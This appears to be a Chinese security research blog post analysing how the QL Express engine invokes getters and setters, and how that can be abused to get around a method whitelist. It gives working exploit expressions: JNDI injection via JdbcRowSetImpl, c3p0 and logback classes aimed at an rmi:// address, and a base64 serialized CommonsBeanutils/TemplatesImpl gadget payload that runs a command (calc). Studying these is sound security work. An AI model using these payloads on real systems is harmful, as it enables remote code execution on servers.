QL Express 触发 get|set 利用

QL Express 触发 get|set 利用

QL Express 在执行表达式时可以直接调用类的构造函数和其属性的 getter 方法和 setter 方法,这个特性可以使其在安全组设置加了白名单条件下达到不调用方法进行绕过。

调试分析

简单看看其是怎么调用的 set|get 方法,先写一个 POJO 类

package org.example;  

public class user {  
    public String name;  
    public int age;  
    public user(){  
    }  
    public user(String name, int age,int nnn) {  
        this.name = name;  
        this.age = age;  
    }  
    public String getName() {  
        return name;  
    }  
    public void setName(String name) {  
        this.name = name;  
    }  
    public int getAge() {  
        return age;  
    }  
    public void setAge(int age) {  
        this.age = age;  
    }   
}

express:

import org.example.user;
user u=new user();
u.name="gaoren";
u.age=1000;

executeInner 方法中,会把 express 编译为 QL 的语句


然后接着调用 executeInnerOriginalInstruction 函数,这个函数就是循环执行编译的 QL express 语句

在执行到 OP : = OPNUMBER[2] 时进行跟进(也就是给属性赋值时),一直到达 executeInner 方法

发现其调用了 setObject 来对 name 属性赋值。跟进后发现在 setProperty 函数中调用了 PropertyUtils.getPropertyType 来获得属性类,而在这里面进行了属性是否有 set|get 方法的判断,

跟进这个函数到 PropertyUtilsBean#getPropertyDescriptor ,会通过 data 使用属性名 name 来获取对应的 PropertyDescriptor ,而 data 就有类中的所有的 set 方法。

如果没有 set 方法,返回的 result 就为 null,这样最后返回的 filedClass 也就为 null,那么就不会调用 PropertyUtils.setProperty 方法设值了。所以这里给属性赋值只能给有 set 方法的赋值,不像 fastjson 反序列化一样也可以给没有 set 方法的属性设值,这就导致利用面大大减小了。或者说 QL Express 也有什么选项设置像 Feature.SupportNonPublicField 一样?没找到。

最后有 set 方法的属性会到达 PropertyUtilsBean#setSimpleProperty 中,通过 invokeMethod 反射调用 set 方法进行赋值

调用栈

利用

一般调用 setter|getter 方法可以利用的类是很多的,但是的话这里有限制导致实际能用的链子不多。

JdbcRowSetImpl

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。

在其 setAutoCommit 方法中,看到在 this.conn 为 null 时,将会调用 this.connect() 方法。

跟进,调用了 lookup 方法,而且 this.getDataSourceName() 可控

并且其都有 setter 方法,所以构造

import com.sun.rowset.JdbcRowSetImpl;
JdbcRowSetImpl jbc = new JdbcRowSetImpl();
jbc.dataSourceName="rmi://localhost:1099/hello";
jbc.autoCommit=true;

ActiveMQObjectMessage *

在该类的 getObject 方法中存在二次反序列化

并且需要控制的 content 属性存在 setter 方法的,这里用的还是之前 wmctf 的环境,data 内容是 cb 链,构造

import java.util.Base64;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;
ByteSequence bs=new ByteSequence();
ActiveMQObjectMessage u = new ActiveMQObjectMessage();
bs.data = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==";
bs.length = 1376;
bs.offset = 0;
u.content=bs;
u.trustAllPackages = true;
u.object;

但是这样不会成功,经调试最后没调用到 setdata 方法,问了 squirt1e 师傅,师傅一眼就知道是参数类型不符。这里不会自动对 base64 解码只能传入字节类型的参数了。

重新构造:

import java.util.Base64;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;
ByteSequence bs=new ByteSequence();
ActiveMQObjectMessage u = new ActiveMQObjectMessage();
bydata = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==";
bs.data=Base64.getDecoder().decode(bydata);
bs.length = 1376;
bs.offset = 0;
u.content=bs;
u.trustAllPackages = true;
u.object;

弹出计算机

但是由于这里调用了 Base64.getDecoder().decode() 方法,对于规定方法的白名单也就没法绕过了。

TemplatesImpl *

最常用的 getter 方法调用类,其属性 outputProperties 存在 get 方法,简单构造一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
TemplatesImpl tem=new TemplatesImpl();
tem._bytecodes="yv66vgAAADQAGQEABmdhb3JlbgcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY";
tem._name="gaoren";
tem.outputProperties;

能调用到最后的 getOutputProperties 方法,但是由于其他属性没有 set 方法无法进行赋值。

其他依赖利用

看到上面的三种情况知道需要赋值的属性越少那么越能成功,打 jndi 就成了不二选择。下面里列一些需要其他依赖的 get|set 方法触发 jndi 的。

JndiRefForwardingDataSource

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference() 方法有 lookup() 危险函数调用

方法 inner() 又对 dereference() 方法进行了调用

inner()方法在这些地方都有调用

构造

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;  
JndiRefConnectionPoolDataSource jndi=new JndiRefConnectionPoolDataSource();
jndi.jndiName="rmi://localhost:1099/hello"; 
jndi.loginTimeout=0;

JNDIConnectionSource

在其 lookupDataSource 方法中存在 look 方法,可以通过 setJndiLocation 来控制参数,

然后在方法 getConnection()中调用了 lookupDataSource

漏洞逻辑非常简单,直接构造

import ch.qos.logback.core.db.JNDIConnectionSource;
JNDIConnectionSource jndi=new JNDIConnectionSource();
jndi.jndiLocation="rmi://localhost:1099/hello";
jndi.connection;

总结

如果存在相应依赖的话,通过 setter|getter 方法触发的链子还是有很多的,如 RegistryManagedRuntimeJNDIManagedRuntimeDefaultTransactionManagerLookup 等等,只不过这些依赖太少见了。最后,以上有问题的地方还请师傅们多多指出。

参考:https://xz.aliyun.com/t/15595

参考:https://blog.xmcve.com/2024/09/10/WMCTF-2024-Writeup/

0 条评论
某人
表情
可输入 255